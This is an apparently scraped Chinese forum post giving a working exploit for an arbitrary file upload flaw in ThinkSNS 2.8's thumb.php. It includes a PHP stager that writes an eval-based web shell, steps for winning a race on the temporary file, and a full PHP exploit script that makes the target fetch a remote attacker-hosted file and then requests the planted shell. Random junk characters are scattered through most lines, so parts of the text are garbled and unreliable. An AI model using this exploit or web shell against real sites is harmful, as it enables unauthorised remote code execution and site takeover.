漏洞版本4 w C- {- f: B+ _
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
8 P, h- U3 i0 R, v0 q漏洞文件
; ]$ m* F7 L3 w9 P存在漏洞的文件为:thumb.php) B1 e, ~6 }$ w7 g
作者:韦鲲鹏0 A3 k7 J9 D' L
1、 准备如下PHP文件并上传到服务器(自己的)。
& p n0 @4 j6 Q. z! W. S文件内容如下:' T/ X; S: L0 N4 q" B) P* g9 O5 C
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
& M4 R/ g' A/ e- h# B& v& S2、 计算出临时的文件名:3 \8 G# n. `& s
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3 n/ G; E' e* a! K) d9 h
. e7 X% R Y' _8 @" N3、 上传临时文件。- e* h. Z9 }! V. ]2 I, X b3 V
4、 访问临时文件。7 t8 @9 d9 X6 _7 D7 k. Q
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)+ i/ `, d5 C4 J+ h
Exploit文件内容如下:(这个我就不详细解释了)
1 l! l! k6 @% D- @( F$ o; J( C<?php
. D6 h; L4 b8 n8 N( m& @error_reporting(0);9 N- X2 A5 U" l& G
set_time_limit(0);+ U8 c$ H; P$ b2 l. s* l9 F- [4 @
ini_set(“default_socket_timeout”, 5);: S5 ^: e; s, Z' ~2 I
function http_send($host, $port, $headers) {# n9 I# {( S5 N+ r
$fp = fsockopen($host, $port);5 i7 m* ~7 ?, D% I& G. }9 N. n
if (!$fp) die(‘Connection -> fail’);
0 _6 ^# a# w L! gfputs($fp, $headers);+ O0 C4 _/ Z7 h
return $fp;6 u; P: |( H7 m! c- z
}
( x+ S/ L! E+ T' J5 ofunction http_recv($fp) {
5 f! g6 I g$ C3 s: e4 b3 i$ret=”";. z2 j5 u5 e' z, S! c
while (!feof($fp))0 ^- A) R0 Y; L1 O( A' c6 [( q0 ?
$ret.= fgets($fp, 1024);. L4 H# D/ [. X. k: v* C; r
fclose($fp);
7 e$ ^ a" ]; W* F/ Xreturn $ret;. D" O1 m# V6 b& a
}
* ]7 r( a: C+ o) yprint “\n# ThinkSns Arbitrary File Upload #\n”;7 s% c- n- Z% I! w% W
print “# Discovered by 韦鲲鹏 #\n\n”;
9 H9 |+ S* B' u+ X3 `if ($argc < 4) {
X9 v* X4 G" m1 e4 Z8 \print “Usage: php <host> <path> <romote_url>\n”;3 d( e; Y/ E8 L- j4 G
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;9 x: t2 P2 z( j
die();9 v# S W6 f( r
}9 H% o5 s) P% i. o
$host = $argv[1];* G+ }- H, F) Q1 t& m6 r$ n
$path = $argv[2];
/ V3 j0 H b7 h* @* g5 E4 G" L$url = $argv[3];9 ^8 N" ?* u6 b
$i=0;
( V% ]% q: |$ _( j i2 I//上传数据包; r! }" j- Y9 ^( R6 c& | E
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;0 X% |5 U+ g: R/ j3 t& G
$headers_up .= “Host: “.$host.”\r\n”;
. Y; o2 G: f, [$headers_up .= “Connection: close\r\n\r\n”;* `+ B6 v1 `* ], t
echo $headers_up;+ ]5 t1 v7 L8 `) B
//临时文件访问数据包- E- |) `: ?; E5 V( t+ d0 P
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;# D/ P, Q7 J* `! v* o
$headers .= “Host: “.$host.”\r\n”;
+ w# b. e2 p% O0 P$headers .= “Connection: close\r\n\r\n”;
! i; `0 S/ L6 d6 y# P9 necho $headers;" T# o- k/ S- ]! q) v( x7 V
while(++$i<10) {, y% e! i) R( _$ X, S4 d
fclose(http_send($host, 80, $headers));
1 K; X* _! p4 [ M3 j, M/ ?% @2 l/ p}$ s# |4 i7 I) X! C9 ]1 q, _5 r
fclose(http_send($host, 80, $headers_up));
3 f- O% c( S/ {, B+ \while(++$i<50) {
" }) b+ i6 W( m, T3 b) y& Nfclose(http_send($host, 80, $headers));
; Z% ]4 k; W0 l# ]7 w7 R3 A3 ?}
8 |- _. A* D4 x- l% }, t9 }$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;( ]9 y+ m! I) \- B2 X d
$headers .= “Host: “.$host.”\r\n”;
! s- B+ \4 W S9 ^7 O$headers .= “Connection: close\r\n\r\n”;
+ x. V/ e% s- D$res=http_recv(http_send($host, 80, $headers));! X- t& K" ]1 N" T# G
if(preg_match(‘/200 OK/’,$res)) {
- q1 D4 ^& Z7 uprint “Success!\n\n”;' V, u# B( R+ U9 r; f
} else {0 ]: }+ k& |$ ~! l
print “Fail!\n\n”;* s7 e0 d) P& \. b4 _- u
}: j& Q0 ^# C& A8 |% H f
?>
5 Z5 d, p2 l0 O' x7 F3 n6 ~ |